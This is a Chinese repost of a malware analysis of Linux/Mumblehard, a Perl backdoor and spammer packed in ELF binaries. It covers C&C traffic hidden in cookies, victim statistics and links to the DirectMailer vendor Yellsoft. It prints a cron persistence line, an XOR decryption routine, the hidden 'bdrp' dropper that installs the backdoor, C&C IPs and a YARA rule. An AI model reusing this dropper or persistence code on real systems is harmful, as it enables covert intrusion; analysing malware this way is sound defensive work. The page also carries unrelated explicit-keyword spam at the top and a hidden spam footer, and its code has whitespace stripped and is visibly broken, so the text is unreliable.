精品国产一级在线观看,国产成人综合久久精品亚洲,免费一级欧美大片在线观看

深度分析惡意軟件Mumblehard

責任編輯:editor04

作者:烏云知識庫

2015-05-07 21:57:07

摘自:ZDNet至頂網

我們發現Linux Mumblehard的原因來自于某天某網管聯系我們,他的服務器因為不斷發送垃圾郵件被列入了黑名單。PHPSESSID cookie值進行了hex進行編碼

0x00 簡介

我們發現Linux/ Mumblehard的原因來自于某天某網管聯系我們,他的服務器因為不斷發送垃圾郵件被列入了黑名單。我們dump了服務器上其中一個奇怪進程的內存,這玩意連接到了一個不同的SMTP服務器,并發送垃圾郵件。dump下來的內存顯示這玩意是一個,唔,perl解釋器,隨之我們在/tmp目錄發現了一個相關的可執行文件,并且立即開始著手分析,為了方便我們給這玩意起名Mumblehard。

說實話我們對這玩意產生了極大的興趣,因為在惡意軟件中,perl腳本被封裝在ELF可執行文件中是很少見的,至少這玩意比起其他來說要更加復雜一些。另外一點是我們發現這款惡意軟件與一家叫Yellsoft的軟件公司存在很大的聯系,而第一個被發現的樣本在09年提交到VirusTotal。

深度分析惡意軟件Mumblehard

Figure 1. Wayback Machine上顯示的Yellsoft主頁

我們對所發現已經確認遭到感染的系統進行了調查,確認了兩種可能的傳播方式,最常見的利用Joomla和Wordpress的exp進行傳播,另外一種是通過分布式的后門,Yellsoft在他們主頁上銷售一種叫DirectMailer的軟件,240美刀,其中裝有特殊的后門。

這篇paper描述了惡意軟件中的組件的分析,以及我們對受害者的統計調查,還有那家神秘的Yellsoft。

0x01 惡意軟件分析

我們分析了兩種不同的惡意軟件組件,第一個是一個通用的后門,向C&C服務器請求一個命令,該命令包含一個網址,然后通過這個網址下載惡意文件并且執行,第二個是一種多功能的垃圾郵件發送器的程序。這兩個組件都使用perl進行編寫,然后使用一個匯編寫的特殊加殼器進行混淆,最終隱藏到一個ELF格式的二進制文件中。

下面的圖顯示了惡意軟件和C&C服務器之間的關系。

惡意軟件分析

Figure 2. Linux/Mumblehard的交互

下面我們會先解析加殼器的細節,然后在描述后門和郵件發送器的功能。

1.1 ELF二進制中的perl殼

最初引起我們興趣的是惡意軟件的加殼器,簡單看看反匯編代碼,我們可以很明顯的看出,加殼器是直接使用匯編進行編寫,整個加殼大約使用了200個匯編指令。這個觀察來源于兩個點,一個是他們直接使用int 80指令進行系統中斷,另一個是它們并不適用常見的方式進行堆棧管理。

通過其系統調用的方式,可執行文件可以避免任何的外部依賴,同時,加殼器被確認適用于linux和bsd系統。因為系統進行了系統調用13,并傳入了參數0,該系統調用對應到linux的時間,和BSD的標準輸入。在BSD上該調用失敗后會返回一個負數到eax上,而linux上會返回一個正數表示從1970年到今天過了幾秒。

惡意軟件Mumblehard分析

Figure 3. system call 13

之后會fork()一個perl解釋器("/usr/bin/perl", ...)然后通過標準輸入將perl腳本發送給進程。并且使用系統調用pipe和dup2來處理文件描述符。這一來父進程就可以將解密后的perl腳本寫入解釋器。

1.2 perl后門

后門實際上只有一個簡單的任務,就是從C&C服務器上請求一條命令,并且返回其是否成功。不過后門并不會使用daemonize來進行進程守護,他直接使用crontab來每15分鐘執行一次。

$crontab-l

*/15****/var/tmp/qCVwOWA>/dev/null2>&1

并且還通過分配來將自己偽裝成httpd。

$0="httpd"

每次運行,后門都會向列表中的后門發送一條查詢請求命令,就算某臺已經返回過有效的命令。

綜合來說該后門只支持一條命令:0x10下載并執行。我們分析了手頭的樣本整理出了下面這樣的list,事實上,只有ip:194.54.81.163返回過命令,其他應該都是掛掉了,比如,域名behance.net 在2005年被adobe收購。

· 184.106.208.157 · 194.54.81.163 · advseedpromoan.com · 50.28.24.79 · 67.221.183.105 · seoratingonlyup.net · advertise.com · 195.242.70.4 · pratioupstudios.org · behance.net

1.2.1 C&C通信

Mumblehard使用http的get對每臺C&C服務器發送請求,將返回的命令隱藏在http響應頭的Set-Cookie中,來逃避一些數據包的檢測。

一個請求的例子

123456789HTTP/1.0 200 OK

HTTP/1.0200OK

Date:Sat,14Feb201523:01:57GMT

Server:Apache/1.3.41(Unix)

Set-Cookie:PHPSESSID=260518103c38332d35373729393e39253e3c3b207f66736577722861646b6c

697e217c647066603a7f66706363606f61;path=/

Content-Length:18

Connection:close

Content-Type:text/html

underconstruction

PHPSESSID cookie值進行了hex進行編碼,并且通過自定義的算法進行加密,該加密算法與加殼器中用來加密perl腳本的算法是相同的.

惡意軟件Mumblehard分析

Figure 4. 用匯編寫的加密算法

perl版加密

subxorl{

my($line,$code,$xor,$lim)=(shift,"",1,16);

foreachmy$chr(split(//,$line)){

if($xor==$lim){

$lim=0if$lim==256;

$lim+=16;

$xor=1

}

$code.=pack("C",unpack("C",$chr)^$xor);

$xor++;

}

return$code;

}

一旦解密,下面的信息回從cookie中提取出來。

enter image description here

 

enter image description here

 

這里有一個解密后的信息的例子。

enter image description here

Mumblehard后門的user-agent

Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1

該user-agent被驗證與windows7上Firefox 7.0.1的user-agent相同。不過在下載完成后,惡意軟件會向服務器發送請求報告是否下載了文件,該信息隱藏在user-agent中,格式大概是下面這個樣子

Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/<command_id>.<http_status>.<downloaded_file_size> Firefox/7.0.1

一個實際的例子

Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/24.200.56013 Firefox/7.0.1

1.3 perl惡意郵件發送器

該惡意軟件發送器也是perl寫的,并且加殼后嵌入elf可執行文件,目的在于向C&C請求任務,并且發送惡意郵件,Mumblehard支持大部分一個惡意郵件發送器會有的功能,模板,報表,SMTP執行等,我們會將接下來的內容限制在其中的一些獨特的功能和網絡協議等。

perl本身是兼容多個操作系統的,所以我們認為該惡意軟件是針對多個類型的操作系統為目標,不過其中的EWOULDBLOCK和EINPROGRESS常量是不可移植的,盡管如此,該惡意軟件的常量還是可以兼容Linux, FreeBSD and Windows。目前我們抓到的樣本是無法在windows上運行的,不過也可能表示針對windows平臺他們開發了不同類型的加殼器。

其中的perl

if($^Oeq"linux"){$ewblock=11$eiprogr=115}

if($^Oeq"freebsd"){$ewblock=35$eiprogr=36}

if($^Oeq"MSWin32"){$ewblock=10035$eiprogr=10036}

這玩意有兩種方式發送惡意郵件,一種是請求C&C服務器上的一個任務,第二種是開啟一個代理。

1.3.1 C&C通信

C&C服務器運行在端口25上,惡意郵件發送器可以通過post請求發送二進制數據,內容如下表

enter image description here

不過這些數據似乎只在一種情況下會被使用,比如統計有多少服務器在發郵件啥的。它存在4個32位的整數頭。

任務的表示符

成功的郵件數目

網絡問題失敗的郵件數目

被SMTP服務器拒絕的郵件數目

惡意主機還可以自定義發送報告的詳細程度,其中有三個級別,最低的一級只有數字,中級包括電子郵件地址,最高一級包括成功或者失敗的原因。最初的請求,服務器會返回一個200的響應,包含設置,電子郵件列表,和垃圾郵件模版。

enter image description here

 

enter image description here

 

enter image description here

1.3.2 代理功能的特點

我們分析的大多數的樣本中都包含一個通用的代理組件,工作原理很簡單,監聽tcp端口的連接,并且發送通知,只有c&c服務器的連接允許連接到該端口,但是內部有一個list,可以自定義添加允許的連接。不過其實只有兩條命令會被代理組件識別。

添加ip地址到允許列表

創建一個新的tcp隧道

下面是用作參考的協議內容

enter image description here

在創建連接時候實際上使用的是通過SOCKS4協議進行實現,這個功能允許黑客傳輸任意的流量到服務器,不過蛋疼的是我們并沒有見該功能使用過,所以并無法斷定是用于什么。

1.3.3 惡意郵件內容

我們跟蹤了大量的惡意郵件,發現主要是用于推廣一些藥物產品,并且還有產品官方的鏈接,這里是其中一個例子。

enter image description here

該惡意郵件的鏈接販賣解決性功能障礙的藥物的網站。

enter image description here

具體網站為加拿大的spamtrackers.eu ,不過其消息頭貌似是使用隨機的詞。

Million-Explosively-Arrogance: B77FE821EAB1

Copes-Horribly: 881976c526e6

Formants-Carmichael-Cutlet: consistency

Interoffice-Gastronome-Unmodified: d41f7ebe89a

目前還不知道將其添加到反垃圾郵件簽名是否有效果,不過我們認為是有的。

0x02 被感染主機的統計

其中惡意服務器支持的C&C域名其中一部分已經失效,所以我們購買了其中的域名來監控受到感染的服務器,我們使用了惡意軟件中用到的特殊的user-agent來進行監控。

下面是我們收集的2014年9月19日到2015年4月22日的數據,大概存在8,867個ip進行連接,其中大部分是用于網站托管的服務器。

enter image description here

(此處省略部分關于統計的細節)

0x03 WHO IS YELLSOFT?

樣本中的C&C服務器的ip范圍位于 194.54.81.162 到194.54.81.164

194.54.81.162:53 Hardcoded DNS server in Mumblehard’s spammer

194.54.81.163:54321 Report from Mumblehard’s proxy is open

194.54.81.163:25 C&C server for Mumblehard’s spammer

194.54.81.164:25 C&C server for Mumblehard’s spammer

如果你檢查下面的兩個ip,你會發現他們都是194.54.81.165和194.54.81.166的名稱服務器,其中yellsoft.net web服務器托管 在194.54.81.166,其中162到166的ip的ns和soa都是相同的,這可以表明,這5個ip都是托管在同一臺服務器上。

$dig+short-x194.54.81SOA|uniq-c

1ns1.rx-name.net.hostmaster.81.54.194.in-addr.arpa.201503120928800720060480086400

$foriin23456;[email protected]$i;done|uniq-c

5ns1.yellsoft.net.support.yellsoft.net.2013051501600300604800600

那么Yellsoft是干嘛的,他們銷售一種perl編寫的批量郵件發送工具,叫DirectMailer。運行在UNIX系統上。

enter image description here

3.1 DirectMailer分析

其主頁上告訴訪客,他們不提供直接下載,下載地址被托管在narod.ru上,我們可以從上面得到副本。在2014年我們下載了一個叫 directmailer-retail.zip 的壓縮包,之后ESET講其識別為惡意軟件后,該軟件就不再被放置于softexp.narod.ru上。

zip包含一個dm.pl 文件,不過其為elf可執行文件,打包了各種perl腳本。在主程序啟動之前,程序會調用一個bdrp的函數,該函數有一個uuencoded編碼的blob,解碼運行后會生成另一個ELF可執行文件,包含一個加殼后的perl腳本,它會被寫入文件系統和cron 15分鐘運行一次。很熟悉是不?

bdrp函數

subbdrp{

my$bdrp=<<'BDRPDATA';

M?T5,1@$!`0D```````````(``P`!````3(`$""P``````````````#0`(``!

M``````````"`!`@`@`0("1H``!X>```'`````!```(DE"9H$"+@-````,=M3

...

M)S5I=6=&(Z-WQT>'-T?#,@/'YR<%-$`@=,1$A#1$P1"U$-7$I$!=#Q5+

%%T491S$`

BDRPDATA

$bdrp=unpack("u*",$bdrp);

foreachmy$bdrpp("/var/tmp","/tmp"){

#Deleteallexecutablefilesintemporarydirectory

#(deleteexistingMumblehardinstallation)

for(<$bdrpp/*>)

#Createrandomfilename

my$bdrpn=["a".."z","A".."Z"];

$bdrpn=join("",

@$bdrpn[map(1..(6+intrand5))]);

my$bdrpb="$bdrpp/$bdrpn"

my$bdrpc=$bdrpb.intrand9;

#crontabjobtoadd(runsevery15minutes)

my$bdrpt="*/15****$bdrpb>/dev/null2>&1n"

if(open(B,">",$bdrpb)){

#Dropfileandinstalljobwithcrontab

[...]

}

}

}

0x04 結論

惡意軟件正在變的越來越復雜,另一個令人擔憂的是Mumblehard的運營這么多年一直沒中斷過。

附錄A

UDP packets to

· 194.54.81.162 port 53

TCP connections to

· 194.54.81.163 port 80 (backdoor)

· 194.54.81.163 port 54321 (proxy)

· 194.54.81.163 port 25 (spammer)

· 194.54.81.164 port 25 (spammer)

HTTP requests with the following User-Agent pattern

· Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/<1 or more digits>.

<1 ormore digits>.<1 or more digits> Firefox/7.0.1

yara rule

rulemumblehard_packer

{

meta:

description="Mumblehardi386assemblycoderesponsiblefordecryptingPerl

code"

author="Marc-EtienneM.Lveill"

date="2015-04-07"

reference="http://www.welivesecurity.com"

version="1"

strings:

$decrypt={31db[1-10]ba??000000[0-6](565f|89F7)

39d3751381fa??000000750231d281c2??0000

0031db43ac30d8aa43e2e2}

condition:

$decrypt

}

鏈接已復制,快去分享吧

企業網版權所有?2010-2024 京ICP備09108050號-6京公網安備 11010502049343號

  • <menuitem id="jw4sk"></menuitem>

    1. <form id="jw4sk"><tbody id="jw4sk"><dfn id="jw4sk"></dfn></tbody></form>
      主站蜘蛛池模板: 灵石县| 静乐县| 花莲市| 南昌县| 米泉市| 枞阳县| 靖西县| 宝丰县| 资源县| 天等县| 江津市| 邹平县| 缙云县| 沁源县| 壤塘县| 肇州县| 会东县| 敖汉旗| 洞口县| 昭苏县| 闵行区| 隆安县| 天水市| 永春县| 邻水| 达拉特旗| 隆子县| 普兰店市| 登封市| 高陵县| 景东| 岳普湖县| 拉萨市| 陕西省| 无棣县| 莫力| 乐平市| 龙门县| 南溪县| 曲阳县| 霍山县|